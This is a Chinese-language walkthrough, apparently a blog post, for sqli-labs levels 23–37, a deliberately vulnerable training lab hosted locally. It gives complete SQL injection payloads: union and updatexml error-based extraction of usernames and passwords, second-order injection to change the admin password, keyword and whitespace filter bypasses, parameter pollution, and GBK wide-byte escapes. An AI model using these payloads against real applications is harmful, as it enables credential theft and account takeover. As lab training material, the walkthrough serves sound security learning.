sqli-labs项目地址:https://github.com/Audi-1/sqli-labs


文章目录

  • Less-23
  • Less-24
  • Less-25
  • Less-26
  • Less-27
  • Less-28
  • Less-29
  • Less-30
  • Less-31
  • Less-32
  • Less-33
  • Less-34
  • Less-35
  • Less-36
  • Less-37


正文

Less-23

sqli-labs闯关笔记(Advanced Injections)_单引号


id传进来的值过滤了#--SQL注释

不过没关系,可以插入直接闭合掉这条查询语句

从加个单引号观察报错回显,判断是单引号闭合

sqli-labs闯关笔记(Advanced Injections)_Less_02


http://127.0.0.1/sqli-labs/Less-23/?id=1' and '1'='1 成功闭合

sqli-labs闯关笔记(Advanced Injections)_sql_03


联合查询过程如下:

http://127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,2,3 and '1'='1

http://127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,database(),3 and '1'='1

http://127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' and '1'='1

http://127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and '1'='1

http://127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,(select group_concat(username,'-',password,'/') from security.users limit 0,1),'3

sqli-labs闯关笔记(Advanced Injections)_Less_04


也可利用报错注入,过程如下:

http://127.0.0.1/sqli-labs/Less-23/?id=-1' and updatexml(0x7e,concat(0x7e,database(),0x7e),0x7e) and '1'='1

http://127.0.0.1/sqli-labs/Less-23/?id=-1' and updatexml(0x7e,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),0x7e) and '1'='1

http://127.0.0.1/sqli-labs/Less-23/?id=-1' and updatexml(0x7e,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0x7e) and '1'='1

http://127.0.0.1/sqli-labs/Less-23/?id=-1' and updatexml(0x7e,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),20),0x7e),0x7e) and '1'='1

http://127.0.0.1/sqli-labs/Less-23/?id=-1' and updatexml(0x7e,concat(0x7e,mid((select group_concat(username,'-',password,'/') from security.users),1,32),0x7e),0x7e) and '1'='1

PS:注意updatexml()最长只能输出32位,记得做截断处理

Less-24

二次注入

本关目标,在不知道admin用户的密码的情况下,修改数据库中的用户admin的密码

sqli-labs闯关笔记(Advanced Injections)_单引号_05


首先注册一个用户admin'#,在login_create.php中并不会触发SQL注入

sqli-labs闯关笔记(Advanced Injections)_sql_06


sqli-labs闯关笔记(Advanced Injections)_sqli-labs wp_07


sqli-labs闯关笔记(Advanced Injections)_Less_08

然后登陆admin'#用户,这里也不会触发SQL注入

sqli-labs闯关笔记(Advanced Injections)_sql注入_09


sqli-labs闯关笔记(Advanced Injections)_sql_10

漏洞点在这里

sqli-labs闯关笔记(Advanced Injections)_sqli-labs wp_11


前面所有的用户名和密码的输入都经过了mysql_real_escape_string()函数的特殊字符转义,但是在pass_change.php修改密码的时候,用户名确实直接从session中获取,并没有经过任何处理,导致admin'#中的特殊字符没有转义,插入到sql语句造成了SQL注入,也就是在这里出现了二次注入

当修改admin'#账户的密码的时候,实际上到数据库中修改的是admin的密码

sqli-labs闯关笔记(Advanced Injections)_Less_12


sqli-labs闯关笔记(Advanced Injections)_Less_13


这里我们把密码改为mochu777,查看数据库中的admin账户密码

sqli-labs闯关笔记(Advanced Injections)_sql注入_14


成功修改了admin账户的密码

Less-25

sqli-labs闯关笔记(Advanced Injections)_Less_15


和Less-1一样,唯一的区别就是过滤了orand

sqli-labs闯关笔记(Advanced Injections)_sql注入_16


碰到orand的过滤,一般有以下几种绕过方法:

  1. 大小写变形绕过,Or ANd 之类的(本关正则规则忽略了大小写,不适用)
  2. 双写绕过,oorr aandnd(只针对把过滤字符替换为空的情况,本关适用)
  3. 编码绕过,hex,urlencode
  4. 符号,and=&& or=||

http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd 1=1--+http://127.0.0.1/sqli-labs/Less-25/?id=1'||updatexml(0x7e,concat(0x7e,database(),0x7e),0x7e)--+

思路还是老套路,联合查询,报错注入都行

Less-25a只是没有单引号,然后注释了报错,报错注入不能用,联合查询注入和盲注都行
不用闭合直接插入执行即可,就不重复造轮子了

Less-26

和上一关唯一的不同就是过滤机制

PS:这关可能存在服务器是windows还是linux的问题,有些空格的绕过方法在windows上没有用

sqli-labs闯关笔记(Advanced Injections)_Less_17


or and绕过前面已经讲了,--#的绕过前面也讲过,把注释后面的语句变成闭合后面的语句,而绕过空格有很多办法,不限于这里讲的:%09,%0a,%0c,%0d,%0b,%a0

http://127.0.0.1/sqli-labs/Less-26/?id=1'%0b||%0bupdatexml(0x7e,concat(0x7e,database(),0x7e),0x7e)%0b||%0b'1'='1

Less-26a

sqli-labs闯关笔记(Advanced Injections)_单引号_18


修改了包裹参数的处理方法以及注释了报错,还是老套路,不赘述

Less-27

sqli-labs闯关笔记(Advanced Injections)_sql_19


sqli-labs闯关笔记(Advanced Injections)_sqli-labs wp_20


selectunion可以用大小写变形双写绕过/s是指当行匹配模式

http://127.0.0.1/sqli-labs/Less-27/?id=100'uniunionon%0aSeLeCt%0a1,database(),3||'1

http://127.0.0.1/sqli-labs/Less-27/?id=100'uniunionon%0aSeLeCt%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()||'1

Less-27a
改了对id的处理方式,双引号包裹,另外注释了报错

http://127.0.0.1/sqli-labs/Less-27a/?id=100"UnIoN%0aSeLeCt%0a1,database(),3||"1

http://127.0.0.1/sqli-labs/Less-27a/?id=100"UnIoN%0aSeLeCt%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()||"1

Less-28

sqli-labs闯关笔记(Advanced Injections)_Less_21


sqli-labs闯关笔记(Advanced Injections)_Less_22


过滤规则前面几行和前面的一样,最后还变成了过滤了union select

payload:
http://127.0.0.1/sqli-labs/Less-28/?id=100')unionunion%0aselect%0aselect%0a1,user(),3||('1

http://127.0.0.1/sqli-labs/Less-28/?id=100')unionunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()||('1

Less-28a
就是别Less-28少了几个过滤条件
Less-28的payload照样可以用

Less-29

这题的关键是login.php

sqli-labs闯关笔记(Advanced Injections)_sqli-labs wp_23


sqli-labs闯关笔记(Advanced Injections)_sql_24


模拟两层服务器架构对参数的处理,当参数为?id=1&id=2或者更多参数的时候,apache服务器解析的是最后一个参数,接下来来看一下如何处理传参,$_SERVER['QUERY_STRING']获取的是?后面的值,java_implimentation()函数获取每个参数的值并返回,whitelist对参数的值做判断,是数字正常执行,不是数字跳转到另一个页面,第一个参数的值为数字即可绕过

http://127.0.0.1/sqli-labs/Less-29/login.php?id=1&id=-1'union select 1,version(),database()--+

Less-30

sqli-labs闯关笔记(Advanced Injections)_sql注入_25


和上一关相比唯一做了改动的地方也就是这里了,稍微变通一下即可

http://127.0.0.1/sqli-labs/Less-30/login.php?id=1&id=-1"union select 1,version(),database()--+

Less-31

sqli-labs闯关笔记(Advanced Injections)_单引号_26


还是只对参数包裹方式做了点改变

http://127.0.0.1/sqli-labs/Less-31/login.php?id=1&id=-1")union select 1,version(),database()--+

Less-32

宽字节注入

sqli-labs闯关笔记(Advanced Injections)_单引号_27


单引号双引号还有斜杠都会被转义,但是因为mysql设置的编码是gbk,在gbk编码中可以使用%df等可以与\(%5c)会被gbk编码格式当做汉字的字符放在'前面,就会形成%df%5c%27从而使得'(%27)在查询语句中闭合

sqli-labs闯关笔记(Advanced Injections)_单引号_28


http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27union select 1,version(),database()--+

Less-33

sqli-labs闯关笔记(Advanced Injections)_sqli-labs wp_29


addslashes也是在给特殊字符转义,和上一题一样的payload

http://127.0.0.1/sqli-labs/Less-33/?id=-1%df'union select 1,database(),user()--+

Less-34

sqli-labs闯关笔记(Advanced Injections)_sql注入_30


和前面机关也是差不多,只是改成了post传参,稍微注意一下把之前的url编码解码出来拼接上去,payload如下:

uname=123�'union select user(),database()#&passwd=123

Less-35

sqli-labs闯关笔记(Advanced Injections)_Less_31


这一关没有单引号和双引号包裹参数,所以不需要单引号双引号闭合,直接注入

http://127.0.0.1/sqli-labs/Less-35/?id=-1 union select 1,version(),database()--+

Less-36

sqli-labs闯关笔记(Advanced Injections)_sql注入_32


这一关换成了mysql_real_escape_string()但是因为还是设置gbk编码,所以还是能够被突破

sqli-labs闯关笔记(Advanced Injections)_单引号_33


http://127.0.0.1/sqli-labs/Less-36/?id=-1%df'union select 1,user(),database()--+

Less-37

sqli-labs闯关笔记(Advanced Injections)_sqli-labs wp_34


还是一样,只不过换成了post传参uname=123�'union select user(),database()#&passwd=123

sqli-labs闯关笔记(Advanced Injections)_Less_35